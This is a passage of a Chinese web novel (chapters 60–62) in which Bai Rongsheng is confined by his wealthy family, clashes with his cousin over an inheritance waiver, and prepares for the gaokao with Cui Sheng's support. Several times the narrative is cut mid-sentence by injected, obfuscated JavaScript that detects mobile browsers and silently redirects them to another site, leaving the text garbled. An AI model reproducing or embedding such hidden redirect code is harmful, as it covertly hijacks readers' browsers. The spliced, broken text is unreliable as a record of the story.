他随口一说,崔盛眼神动了动,露出若有所思的表情,没说话。 崔盛开的车被保安拦在关卡外进不去,白容生给白家的管家去了电话,来迎接的人竟然是白允。 “噢,是你,容生在C市时候,多蒙你照顾了。” 崔盛先下车,白允风度翩翩地主动伸出手,“听说是你送他回家,家里专门让我来接人,顺路向你表示感谢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352210|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说着,拿出支票本,现场填写了一张支票,手指夹着递过去。 轻薄的支票在风中晃动,崔盛居高临下扫了眼,客气地拒绝:“不用了,我照顾他是我的事。” 白允打量着他,轻慢地说:“我很讨厌装清高的人,尤其是该收钱还装模作样的时候,浪费我的时间。既然你不要,那就算了吧。” 他顺手将支票一撕,抛进路边的垃圾桶。 白容生刚在车里收拾他带的一叠书,这时从车上下来,也不客气,似笑非笑地说:“白允,脸上的伤好得很快啊?” 白允克制地扫他一眼,没发火,说:“过几天白容生的户口会转到家里,虽然你先前是户主,不过这个手续用不着你签字。我们家做事喜欢两清,这次给钱你不要,以后希望你别做出来白家挟恩图报的事。毕竟——” 他咬字格外清晰,“一个白眼狼和一个婊子生的孩子,能多么有情有义呢?攀上高门,还不赶紧把你这种垃圾甩脱?” 白允看似针对崔盛,实则真正骂的还是白容生。 他看好了距离,确保这次不会被白容生突然一拳砸在脸上。可他没想到,崔盛听后,挑眉古怪地笑了声,忽然说:“你嘴巴也太不干净了吧。” 白容生:“等下!” 崔盛已经抓住了白允的领子,但白容生从后面一把抓住了他的右手,“哥!” 白允被吓了一跳,他仰着脸,冷笑:“这里有监控,你可以动手试试。丁晓东巴不得给我提鞋呢,你敢打我,今天晚上他就能把你沉进江里。” 白容生打他,也就是白家人内部兄弟矛盾,他暂时还不能把白容生怎么样。可崔盛一个无权无势的外人想跟他动手,绝对是自寻死路。 这个道理,白容生也懂。 他不怕再打白允一顿,但他不想让崔盛惹麻烦。 崔盛被白容生拽住了,没继续动手,也没放开白允:“道歉。” 白允:“道歉?我吗?向谁道歉啊,我说的难道有错——咳!” 他被狠狠勒了一下,崔盛的怒火有些超乎他的预料,似乎真的不怕后果,也要揍他一顿。 “放手。”崔盛头都不回,对白容生说。 只有面对他的白允,看清他的表情,那是接近亡命之徒的表情。 白允不是傻子。白容生那样的,水平和他差不多,两人动手不过就是彼此青紫几块,可崔盛这样进过监狱的混混,是真的能让他残疾。 就算事后报复,有的伤害却是不可挽回的。 衡量过孰轻孰重后,白允咬着牙,缓慢地说:“我……我收回刚才的话。” 道歉他说不出口,最大限度的让步也就这样了。 白容生感觉他要按不住崔盛的手,提高声音:“哥,你想清楚!” 崔盛终于放开了白允。 白容生松了口气,拽着他,崔盛顺着他的力气退后两步,突然说:“白家不是你的亲人吗?这些人都这样对你,你还要回去?” 白允听见,不由得讽笑,不过他这次忍住了没说话。 白家不缺人,白容生假如不是白立才的孩子,恐怕白丛山和许静都不愿意认回来。 崔盛反过来按住白容生的肩膀,凑近看他:“你不是对我说,你在白家过得很好,那次拍卖会只是意外吗?这样回去天天看他们脸色,难道比以前的生活还好?” 白容生只眨了眨眼睛。他乌黑的眼珠深不见底,睫毛密长,依旧是带着纯天然的无辜,很容易看得人心软。 崔盛不为所动,寒声问他:“你真的要回去?” 白容生缓慢地说:“是。这是我自己选的。” 他提着东西,只空出来一只手抱了抱崔盛,接着不再回头,向白允走去。 身后安静几秒,车门被重重拉开再甩上。伴着引擎的轰鸣,轿车疾驰而去。 白允整理衣服的同时,若有所思地看了眼白容生。 白容生脸上冷淡的表情,看久了会发现如同一层面具,掩盖着下面动乱的思绪。 年纪小,功夫不到家。 白允心里一哂,看出他心里很乱,估计都是因为崔盛。 他随意看过崔盛的资料,只知道这是个进过监狱的混混,现在跟着丁晓东做事,蛮得丁老板欢心,据说丁晓东有意把他从打手提拔成正经的助理。 当然,白家会查他,最主要是因为他担任过一段时间白容生的监护人,还是白容生目前法律上的哥哥。 不过从他亲眼所见推断,崔盛和白容生之间的关系,好像不是一般的兄弟。 白允看资料时就觉察出了疑点,崔盛本人是个没多少钱的小混混,为什么会突然把白容生带回家,心甘情愿地供白容生吃住上学? 那些个黑/道可不是慈善组织。 今天他想他应该找到了答案。 非亲非故的,只能是那种关系。 白容生还没成年吧?幸亏不是女孩,否则只怕要复刻他母亲的路线。 白允打开家门,笑道:“我把小弟带回来了。” 白容生放下东西,拒绝女佣伸来的手,自己脱了外衣,弯腰换鞋。 客厅里坐着许静和白松月,见到他和白允,中断了谈话。 “回来了。”许静口吻意外得温和,也没有哭,坐在那里说,“让管家带你上去吧。你不喜欢房间里的监控,这次给你换了个房间。” 白容生有点诧异,不知道她怎么忽然这样好说话。他觉得有些反常,跟着管家上楼去了,后背下意识微微绷紧。 管家带他来到最顶层,打开了浅色的房门。 依旧是套间,里面的格局和楼下的那个房间很像。白容生走进去,忽然发觉管家没有一起进门。 他身上微妙的直觉让他瞬间转身,但还是晚了一步,管家冷漠的脸,消失在门后。 砰! 房门重重关上,传来上锁的声音。白容生愣在原地,反应过来后站着深呼吸一下,没去徒劳地砸门。 他向里面走了几步,推开卧室的门,发现里面漆黑一片,窗帘拉得密不透风。 而黑暗里一同传出来的是一种浓郁到刺鼻的味道,混杂着檀香和木头燃烧过的味道。 白容生皱眉,摸到开关按下,房内立刻大亮。 漆黑的窗帘自天花板垂到地板,雪白的墙壁上空无一物,明亮的灯光照在同样雪白平整的床单上甚至产生反光的视觉效果,刺得他瞳孔收缩。 床头摆放着木桌,木桌的桌面是堆满香灰的香炉,精致的瓷盘内摆着水果和玉器,簇拥着顶上一张黑白遗像。 遗像里的青年男人直视镜头,俊秀的脸上挂着傲慢的微笑。白容生骤然对上他的目光,差点以为那是他自己的遗像。 他都没关灯,直接后退一步关上卧室的门,盯着门板,收回手时发现手心全是冷汗。 ——那是白立才的遗像。 白容生猛地回头,看着这间装饰简约的房屋。 这是白立才的房间。 60.第 60 章 白容生攥紧拳头,等到一瞬间加速的心跳平复后,迅速把房内的大灯小灯都打开。 他查看了别的地方,打扫得很干净,墙面贴着崭新的墙纸,只有一个地方明显凹陷一块,好像是之前被什么砸过。 据说白立才回家后先沉湎酒精再染上毒瘾,白家只能把他关在家里由专业的护工照看,对外的说法是白立才有精神问题,不能自理。 不过就他那样生活,精神病是迟早的事。 白容生在屋内转了一圈,意外发现没有窗户。 可能是由于顶层的户型,这里比楼下的房间少了个阳台。除了洗手间有一扇极高极狭小的窗户外,其他地方都没看见窗。 白容生放弃了洗手间的窗户,闷热的室内让他不免产生了些许烦躁。他重新回到卧室,大力拉开窗帘,却发现卧室的窗户外面是钉得严严实实的木板,把窗口彻底封死,几乎没有光线能透进来。 里面的窗户同样被焊死,根本拉不开。白容生发现拉开窗帘后景象更诡异,只好将窗帘再拉回去。 他回到遗像那里,这次仔细看了看白立才的照片,发现细看之下他和白立才并不是很像,心里舒服了一点,顺手把遗像反扣到桌面。 白立才的脸消失后,卧室氛围好多了。 白容生喝了杯水,将桌上给白立才摆着的新鲜水果吃了两个,回到外间坐下,翻出他随身背着的包里的试卷开始写。 他想看看,究竟谁先沉不住气。 楼上的隔音意外得好,静寂中独自待久了,白容生都失去了对时间的具体感知。他在沙发上睡了一觉,爬起来看时间,刚刚晚上。 他正要去洗脸,忽然听见安静中响起一阵怪异的“咔咔”声。 之前白容生就注意到墙上的方形挂画,按理说挂画不会挂那么矮,而且在简约的房间里,多出一幅挂画只显得突兀。 现在他知道了,随着挂画缓慢上升,后面露出一个黑黝黝的洞口。 此刻洞口里挂着一个箱子,箱子里盛着托盘,托盘中是两个饭盒,旁边还有一瓶纯净水。 白容生盯着箱子,后背冒出了点冷汗。 他又回头,在他的位置,背后正对着卧室的门。 这就是白立才曾经的生活?被侵蚀的身体、混乱的精神,白家就跟对待危险的病患一样,把他关在这里,送饭都用机械……像喂狗一样。 不过现在更大的问题是,白家为什么这样对他? 是想照搬对付白立才的方法,把他锁在这里吗? 白容生拿出饭盒和水,坐下吃了晚饭。 这件事一定是白丛山和许静同意的,他没有病,把他关在这里应该主要是想惩罚他,惩罚他违抗的举动。 要关几天? 白容生耗不起,他六月就要高考,他必须证明他完全能靠自己考上江大。 吃完饭,他将饭盒放回箱子里,拉上画框,过了会听见墙里机械运作的声音。 画框中是一幅画着海上日出的风景油画。虽然画的是日出,可是整体色调昏暗,太阳在云雾中半遮半掩,毫无一般日出的蓬勃意象。 白容生面对着画,在心里不断自言自语: 不能急,尤其是不能表现出焦急。白家那些人不会这样扔下他不管,过几天肯定会来试探他愿不愿意低头认错。 白容生没有回卧室跟遗像一起睡的想法,还好外面的沙发同样宽大松软,他从柜子里翻出一条被子,睡得还挺舒服。 楼下定时定点送来一日三餐和水,除此以外没有任何东西。也没人上楼和白容生交流,他独自在这僻静的顶楼,甚至生出点与世隔绝的感受。 白容生每天早晚背古文和单词充当说话的练习。从一开始的背后发凉,短短时间内他已经习惯了,甚至翻出白立才的遗像,对着这张黑白照片背书。 他做好了最坏的准备,没想到第四天的中午,门被敲响了。 开门的是白允。他转着哗哗作响的钥匙,带着点假惺惺的意味:“我可以进来吗?” 白容生无聊地合上书,只后悔没多带点东西:“不可以。” 白允嗤笑,靠着门:“到现在还装什么呢?不是我来看你,你说不定十天都见不到人。” 白容生:“那我要感谢你?你想说什么,直接说吧。” 白允不请自入,捡起白容生面前的书本,随意地翻了翻:“你确实应该感谢我,不是我提的建议,你怎么能体验到小叔之前住的房间呢?” 白容生放下笔,转过来冷冷地看着他。 白允手撑着桌面:“他有时发病很严重,只能关在这里,不能见人,见人就会发疯。没有光,没有声音,对着角落自言自语,还有次我知道他把自己撞到头破血流,从楼上冲下来像鬼一样……” 白容生:“……” 他叹了口气。 “如果你是想恐吓我的话,那么这种程度还远远不够。”他慢吞吞地说,“摆遗像这个手段勉强有点新意,但是说到底,也就是一张照片。不过这里确实很安静,是备考的好地方。” 白允皱着眉,打量着他。 白容生对他露出一个饱含轻蔑的微笑:“连掌控我进出的权力都没有,就别来耀武扬威了吧?” 白允骤然变脸:“你!” “我说错了吗?”白容生咄咄逼人地追问,“我被关禁闭,又不是你下的命令,不是你的权力,现在你等不及过来嘲讽我,不觉得很没有风度吗,大哥?究竟谁才是白家正经的孩子啊,被我打过一拳这么念念不忘,我看你跟我差不多,没有高贵到哪里去啊。” 白允立刻就要后退,下意识地做出和面前白容生划分界限的举动。可是白容生主动靠近,抬手很亲密似的勾住他的脖子。 “来啊,大哥,不进你精心安排的遗像房看看吗?” 白允用力推开白容生,恍然反应过来自己的失态一般,阴晴不定地瞪着他,猛然转身,摔门出去。 白容生后背在桌角撞了一下,等白允离开,他才松口气,吃痛地弯腰缓了缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357184|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过想到白允刚才的表情,他满意地笑了笑。 几天没跟人说话,白允送上门给他骂,让他获得了极大的愉悦。 倒是半分钟后,白允去而复返,重重地推开门。 “我有办法让你出去。”他冷声说,显见的被气得不轻,甚至被气忘了正事,却还是忍耐着拿出一张纸,“今天祖父祖母都不在,我有权直接放你走,前提是你在这上面签字。” 白容生站在那里,“签什么?” 两人僵持片刻,白允走近,把纸拍在桌上。 “你自愿放弃继承权的声明,以及我会签另一份保证书,确保你能获得应有的钱。” 一纸合同摊开,白允有备而来,条目简单明了,额外标注需要白容生放弃婚约。似乎是为了证明,他先签上名字并按了鲜红的指印。 白容生的目光停留在上面。 “你不就是为了钱回来的吗?我给你钱,只要你放弃继承自你父亲那得来的东西。”白允压低声音,“以为白家是那么好留下的?等你户口转过来,你想后悔都迟了,像白立才一样被关到死都没人在乎,这就是白家的孩子。” 他不知想起什么,兀自呵呵冷笑几声,“没有那个决心,离开这里比较好,这是我真心的劝告。” 白容生点了点其中一行字:“为什么专门标注婚约的事。” “林善水是属于我姐姐的男人。”白允道,“我当然不能让你和他履行婚约。” 白容生不在意地滑过去,“都是要和姓白的结婚,换成你姐不行吗?” “她不姓白。”白允不耐烦地解释,“我妈前夫的孩子。” “我在乎的是股权,”白容生略过这个话题不谈,“你真的支付得起吗?” 听了他的问题,白允的眉峰不停挑高。 “白容生,白容生,”他仿佛觉得很可笑,重复了两遍这个名字,“你从哪里来的信心,认为那笔股份会交到你手上?退一步说,就是给你,你守得住、拿得起吗?” 白容生冷静道:“噢,那就是你不愿意给我。” 白允:“你有没有脑子?” “不过好像不是你说了算吧。”白容生说,“否则你何必拉下脸,悄悄找我签这个合同呢?” 白允面上所有的表情都消失了。他的注视中,白容生放下笔:“这个条件,我不能同意。” “轮得到你同不同意?” 白允慢慢地说,“敬酒不吃吃罚酒。” 他忽然对门外提高声音:“进来!” 过了会,两个陌生的男仆垂手走进来,反手关上了门。 白容生:“要跟我动手啊。” 白允懒得回答,心想还好白容生不是崔盛那样的混混,否则他还真的有点不太敢来硬的。 但常年生活在暴力里的白容生,看见他叫进门两个男人的那刻,瞬间就产生了熟悉的感觉。 他跳起来,动作飞快,目标明确,扑上白允,抓着他的头发往墙上狠狠一撞! 61.第 61 章 “啊!” 白允猝不及防,大叫着扶住墙壁。白容生这下没留手,他被撞得眼前一黑,额头抽痛,差点没站稳。 不过白允反应也很快,撑着墙,反手去推白容生,同时命令他带进来的两个人:“把他按住!” 白容生没管那两人,他只盯着白允,连身上挨了两下也不在乎,一把勒住白允的脖子,逼得白允满身狼狈,风度尽失地冲着佣人大喊大叫。 他们都不放手,混乱拉扯中,两个佣人害怕随便插手会伤到白允,阻拦的动作不敢用力,急忙劝着两位少爷冷静点。 咚! 白容生在桌边撞了一下,他却没多少痛感,猛地抬腿屈膝顶上白允的腹部。 白允的面容扭曲,已然快要失去理智,瞥见桌子上的水杯,想抓起来砸在白容生脸上。 白容生比他更快一步,手即将握住杯子,就在这时,房门被人拿着钥匙打开:“怎么从里面反锁了……你们在干什么!” 佣人总算找到空,伸手把白允和白容生隔开。白容生靠在桌边喘着气,出了一身的汗。 进门的是白松月,她不可思议地扫视一周,“白允,你说,你在搞什么!” 白允有点狼狈地捂住额头,他暂时都没办法追究白容生怎么那么爱打他的脸:“姑姑,我是想跟他说点事……” 白松月深吸口气:“行了,等下出去你再跟我解释。”她转向白容生,眉头拧着,“妈妈让我带你今晚收拾收拾,明天出去拍张证件照。从明天开始,你就是我们家的正式成员了。” 说到最后的时候,白松月脸上闪过近似讥诮的表情。 而白允啧了声,知道这次的时机已经错过,烦躁地转身离开:“我要叫医生来一下。” 白丛山给白容生定的处罚时期就到明天,结束紧闭后白容生会被直接带去走一走最后的程序,宣布白家这个流落在外十多年的孩子的回归。 尽管白丛山盛怒之下取消了本来安排给白容生的发布会,可对于至关重要又异常敏感的继承问题,他却没透露多少。 这说明,极大概率白丛山决定按照惯例,由白容生全盘继承白立才生前悬而未决的财产。 那么,能够留给白允从中操作的时间不多了。 白允今天趁着许静和白丛山不在,强行想逼迫白容生签字,结果被半途出现的白松月打断。 他有意强调婚约的事,但没遮掩过去,白容生显然也知道白立才的股份很重要,不愿意松口。 白容生这样一无所知的乡巴佬懂什么,估计是有人私下跟他讲过关于股份的事。 能是谁…… 白新天西装革履、满面喜色,和白容生握了握手。 “恭喜,恭喜啊。”他笑着说,看上去比当事人还要高兴,“这下,你是真真正正的继承人了。” 白容生这几天瘦了一点,浓黑的眉眼镶嵌在他有些苍白的脸上,显得冷淡疏离,仿佛白新天才是那个被认回来的孩子。 见他这样,白新天觉得没趣:“不是,你别拉着一张脸啊,等会还要拍照,有媒体来的。” “不是还没来吗?”白容生说,手指间摆弄着崭新的身份证,“是该恭喜,不过没有那么高兴。” 他低声自言自语,将卡一收,沿着地毯走到大厅中央。 十多分钟前办手续时神色各异的白家人,此刻都摆出毫无阴霾的愉快笑容,对着请来的记者举起花束和礼盒,送给姗姗来迟的主角。 白容生被许静挽住,站在白丛山身旁,对着镜头,露出一个融入氛围的微笑。 拍完照后,主要由白丛山和许静进行发言。白容生抱着沉甸甸的花束,下台后立刻放下,接着面前又多了一束。 他抬头,林善水对他笑了笑:“恭喜。” 白容生放下一束又接过一束,还好林善水送的这束气味淡雅,不像刚才那束香气浓郁到刺鼻,抱着舒服点。 又不是高考完,搞这么隆重。 据说丁晓东也会来,毕竟他最近和白家生意上往来很多。白容生嘴上和林善水说话,目光在场内逡巡,看了一圈却没找到崔盛。 许静警告他不要再和崔盛过多私下往来,白容生自己不怕,可为了崔盛在江市的发展,不得不服从。不过这种商务场合,崔盛跟随丁晓东出席,他们就能顺理成章聊天了。 崔盛、丁晓东都不见人影,可能是突然有事不能来。白容生即将回C市,这也意味着回去之前,他都见不到崔盛了。 他短暂的走神被发现,林善水忽然道:“找谁呢?有人没来吗?” 白容生立刻收回思绪,平静地说:“请了朋友,他好像有事,来不了了。” 林善水很有涵养地安慰他几句,“其实今天,我还有一件事想跟你讨论。” 白容生跟他一同走到角落,果然林善水提起了婚约的事,只是要求有些出人意料。 “我请求你能配合我拖延这个婚约。”林善水以难得的诚恳口吻说,“你大学毕业之前,两家都不会催促你结婚的,同时有这个婚约拖着,我比你大那么多,能跟你一起拖延几年。这期间你如果有恋爱,可以正常谈,等几年后我们再想办法解除婚约。” 白容生愕然,奇怪林善水为什么这样说。 林善水打量他的表情,笑着解释:“我不想结婚,至少近几年都不想,可是直接拒绝的话,家里也只会再给我找一个结婚对象。既然这样,不如维持现状,用你年纪小的借口拖一拖……放心,名头而已,我们平时的私生活互相不打扰。” 白容生当然没有拒绝的理由。白家内部这些人的斗争全看每个人的筹码多少,他无依无靠,能握住林家的婚约,短期内是一张硬牌。 “那么,就这样说定了。” 几句话敲定后,林善水和白容生握了握手。白容生抬眼看他,问:“你不考虑白允吗?他姐姐对你有意思,结婚后你还能获得白允的帮助,我可什么都没有。” “你小看白立才的资产了。”林善水对他点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364310|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,“再说,我可不想天天看白允的脸色,维持跟你的婚约性价比最高。” * 白容生将讲稿折好,放进校服口袋里。 面前是站满学生的操场,灰绿两色的校服挤挤挨挨,气候干燥晴朗,仍旧吹着冷风。 台上是高三的年级主任在讲话,一把年纪的老头依旧激情澎拜,高举着右手向学生念他的励志语录。等他说完便是学生发言,白容生是学生代表之一。 前几天C市下雨,导致高三的誓师大会拖延到现在,实打实算来已经不满百天。 主发言人是一班的班长,无可置疑的年级第一,一中今年的最大希望。他的话不多,说完就是学生代表领誓。 学生代表均来自于年级组精心挑选,几位外貌好成绩好,拍照宣传的时候十分上相。 台下的学生跟着宣誓时,站在上面能感受到那股声浪带着脚下的地面震动。白容生盯着手中的稿子,慢慢抬起眼。 他一定要赢,他一定能赢。他必须考一个漂亮的、不容置疑的分数,哪怕只是单纯证明自己可以光明正大走进江大的门。 临近冲刺阶段,班级的氛围越发紧绷。冯少平更是从早到晚守着班,不厌其烦地找每个学生谈话。 通常他不和白容生多说,因为一般说了也没用。但三模前后,他找了白容生几次,似乎白容生不开口,他就不罢休。 时间越来越少,白容生受不了被冯少平叫出去,难得不怎么尊敬地打断他:“老师,我还要回去看题,有些话就不用跟我说了吧?” 冯少平:“你不缺这点时间!白容生,你的能力完全够你的目标分数,但是你现在心态不对,这样下去……” 白容生双手环胸,突然说:“我的三模考得很差吧?” 冯少平:“……” 他赶在成绩公布前找白容生,最大原因就是白容生这次成绩莫名掉了很多,几乎快成班里倒数。通常后期不会有这么大的成绩波动,但凡有,那基本是大事。 白容生接过成绩单,从后面向上找到自己的名字。上一次这样,还是高一刚来的时候。 他心里有预料,这次三模考得一塌糊涂。考试时觉得都会,但作答的时候大脑又好像被什么糊住了,交卷后才慢慢回过味,意识到了不对劲。 这算是什么考前综合症吗? “我给你放一天假。”冯少平强硬地说,“回去一天别坐在那里学了,出去走走,晒晒太阳,放松一下大脑。” 白容生叹口气,回教室的时候,看了眼墙上的倒计时。 高考还有半个多月。 他在这几个月强行隔断了有关于白家人的那些事,完全沉浸在备考里。冯少平强迫他放假后,离开学校,白容生竟然有种无处可去的茫然。 考试成绩跟排名,迟缓且清晰地浮现于他眼前。白容生本以为他已经平静接受,结果忽然地心里一空。 高考他输不起,反而因为输不起,似乎先一步露出失败的迹象。 62.第 62 章 忙碌的人在突然无所事事的时候,会觉得时间乍然变得漫长了。 白容生像个无业游民闲逛了一天,从莫名惶恐到心情平静时,惊讶发现一天就这样过去了。 他并没有像常见的励志故事里所说的那样,发生于短暂的假期找回豁然开朗的人生意义之类的事,而是以他这个年龄特有的极端和冲动,走向另一种思路。 如果考不上,那大概注定他没有资格进入江大,毕竟他几年前差点高中都读不起,能走到今天这步完全是运气好。自然,这样的话,白容生也不必梦想什么精彩未来了。 但白容生客观地进行自我评价后,认为只要他正常发挥,绝对能进江大的门。 比一时的成绩下降更强烈的,是掩藏在背后的恐惧。 他自以为得心应手的考试成绩,也会随着状态不稳定地波动,那么更深远、更强大的命运,他真的可以抵抗甚至掌控吗? 迷茫的野心催促着白容生去追寻白家的权势财富,从此彻底摆脱以往屈居人下的窘境,他应该感谢他有这样一份白家血统…… 可是一切真的有那么容易吗? 白容生站在高处,夜色里的城市闪烁着点点灯光拥抱住他。想到白家人就让他反胃,反正他还没得到多少东西,抛下这些也没什么大不了,毕竟他不是孤身一人,他还有崔盛。 他叹了口气,放开抓着的栏杆,嫌弃地甩甩手,甩掉上面的铁锈味。 算了。既然没什么得到的,那就等于没什么好失去的。 如果失败了,最多赔上他自己,但成功的话可以获得超出预料的东西……他想要的都能得到。 * 过完儿童节,考场安排也出来了。白容生运气好留在本校考,考场就在教室楼下。 班长季兰和他一个考场,夸张地抓住他肩膀晃了晃。白容生被她晃得头晕,听她说:“这真是上天注定的安排,你数学物理借我一点。” “我还说你把英语借我呢。”白容生躲开她的手,哪知季兰回身拿了一盒巧克力给他。 巧克力用银色锡纸包着,上面用粗粗的红笔飞扬地写下一行字:金榜题名! 季兰出手阔绰,再加上又是班长,考前给班里每人都送了带着祝福意味的糖果。其中部分和她关系更好的,会收到她专门准备的巧克力。 白容生没想到他还有如此殊荣,有些惊讶地接过:“……谢谢。” 季兰:“客气什么。你这几个月努力得吓人,我可是真心祝福你能考上啊。” 天气热,巧克力有点化了,带着提神的苦味。白容生掰了一块塞进嘴里,心逐渐定下来。 高三的学生不用等高考前才放假,他们排完考场,就有两三天的假期回家等待高考。 白容生赶在考试前,给季兰、李舜和吴飞云各送一份小礼物。 礼物来自他从同班女士那里得知的甜品店,性价比不高,但包装好看。小小一包,系着带子,可以直接提在手里。 白容生难得一改守财奴作风,送礼物时李舜狐疑地打量他:“简直不像你会买的。” “毕业礼物,很奇怪吗?”白容生回嘴,耸耸肩。 他给冯少平专门准备了礼物,离校之前送过去,走廊上到处都是试卷书本,和干净整齐的教室形成鲜明对比。 办公室内也乱糟糟的,几个老师正围在一起开会,吵吵嚷嚷。白容生进去时没人注意他,他也没出声,把包好的纸盒向冯少平桌上一放,悄悄地离开。 冯少平作风简朴,平生爱好似乎就是做老师,偶尔在办公室练练字。白容生腾出一个晚上跑去商场,给他买了条算得上昂贵的皮带。 按理来说,毕业礼物里还应当附赠一封真情表白的信。不过白容生内心感激,却实在不知道要怎么剖析和敞开心里的所思所想,最后只能潦草写一张纸条,留下感谢和祝福语。 他不需要冯少平的回应,这样足够了。 白容生背着包微低着头走出学校,他已经习惯性地在走路的时候默背单词,也不怎么看周围,避开上下学高峰期时,学校附近车不多。 出校门不远是一个路口,他看见绿灯亮了就要走,却被人从后面一把抓住书包扯了回去。 白容生:? 他莫名其妙地回头,随后睁大眼睛。 “看我干什么?”崔盛扬起下巴,向路中间示意地点了点,“看路。” 一辆三轮摩托飞驰而过,要不是崔盛从后面抓住白容生,他很可能要被刹车不及的车撞上。 “怎么了?”见白容生没立刻说话,崔盛笑笑,“看到我很惊讶吗?” 说着,他强行拿走白容生的包,自己背着,推白容生向前走,“还没吃饭吧?出去吃……算了,你马上考试,回家吃吧。” 白容生终于找个空问:“你怎么来了,哥?” “你高考,我怎么都得来。”崔盛说,“成年的生日我没来,这次绝对不能再错过了。” 对于白容生的成年礼,许静想让他回江市正式地庆祝,但被他拒绝。高考在即,白容生理由正当,白家那边也没强迫他,只给他寄来一把车钥匙。 白容生“唔”了一声,崔盛转头盯着他:“不欢迎我来?” 他的面貌已经完全是青年的模样,以往总带着的阴沉戾气全部收敛,多出了几分沉稳,白色短袖外面罩着灰色的短马甲,跟穿着校服的白容生走在一起,真像是位成熟的兄长。 “我怕影响你。”白容生说,“丁晓东不是对你委以重任,你还能请那么久的假吗?” 这次轮到崔盛诡异地沉默片刻,缓缓说:“现在和以前不一样了。” “嗯?”白容生敏锐地抬头看他,崔盛竟然先移开目光,似乎不想跟他对视。 这倒稀奇。 白容生也不急着走了,拦在崔盛面前,让他老实交代。 崔盛无可奈何,潦草举起双手做出投降的姿态:“回去再说。” 因为没有白容生这处新房子的钥匙,崔盛把行李箱暂存在小区保安室那里。取走行李的时候他客气地道谢,给保安放下一盒烟。 白容生对保安室还残存着些许心理阴影,如非必要不愿意靠近。他看着崔盛和保安说话的样子,清楚地意识到崔盛变了。 换在以前,崔盛绝不会这样客气地跟保安道谢,还记着送人家东西。 几句寒暄完,崔盛背着包拖着箱子走回来:“还在看?走了。” 白容生跟上他,觉得他身上负担太重,想帮他拉箱子,还被崔盛灵敏躲开:“不重,你别插手。” 进门后,崔盛行李都没放下,就先在室内巡视了一圈。白容生看他仔细考察的样子觉得小题大做,说道:“我考完高考可能就要去江市,这边许多东西都收拾起来了。” “我知道白家不会给你烂房子,不过不亲眼看,总是放不下心。”崔盛说着,将行李箱留在次卧。 白容生皱了下眉:“这边床都只有床垫,你跟我一起睡主卧吧。” “你高考,绝对不能打扰你。”崔盛却以斩钉截铁的口吻说,“这件事听我的。” 白容生双手环胸,闻言拉长腔调:“噢——那丁晓东是怎么一回事?” 崔盛:“他准备认我做干儿子。” 不是“他想”而是“他准备”,白容生问:“你已经同意了?” 崔盛点头,白容生神情有那么一丝古怪,突然说:“他怎么会想到这个,认你做干儿子……你看过三国演义吗?” 说完看着崔盛有点疑惑的表情,白容生就自己挥手说着算了算了。看他这样子崔盛也知道不是什么好话,笑了笑:“都拿我开玩笑了?” “以前也没少开啊。” 白容生回房间整理书,崔盛知道高考的重要性,留他独自复习,随手抽了两张钞票出门买菜。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379095|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他在江市很少自己做饭,做饭也基本上都是随便弄弄的速食。为防止手艺倒退,崔盛多买了一份菜,提前去厨房尝试。 白容生这段时间一直吃食堂,偶尔自己动手都吃得很草率。幸好白家人安排房子时把东西都配齐了,冰箱、调料等应有尽有。 崔盛把做的前两盘菜全倒进垃圾桶,垃圾袋拎出去放在门外,后面若无其事地重新做了四菜一汤,叫白容生出来吃饭。 白容生出来的时候耳机里还在听英语听力,崔盛直接抬手拿掉:“该吃饭就吃饭,别学魔怔了。” 白容生头发都被抓乱了,下意识想抢回耳机。然而崔盛不讲规矩,手一举仗着身高优势躲过他的抢夺,拿着耳机出去了。 无意间遭受身高羞辱的白容生只好带着愤怒坐下,手机忽然一震,他拿起来看见冯少平发给他的短信。 【谢谢你的礼物,高考时候不要过度紧张,相信自己,长风破浪会有时。】 他默不作声把短信看了两遍,放下手机,深吸口气。 窗外是混杂着蓝色和橙色渐变的半边天空,崔盛回来坐下,“尝尝看味道怎么样。” 对于吃腻食堂的白容生来说,这顿饭十分好了。 “奇怪,”他跟崔盛讨论,“丁晓东究竟想怎么样?” 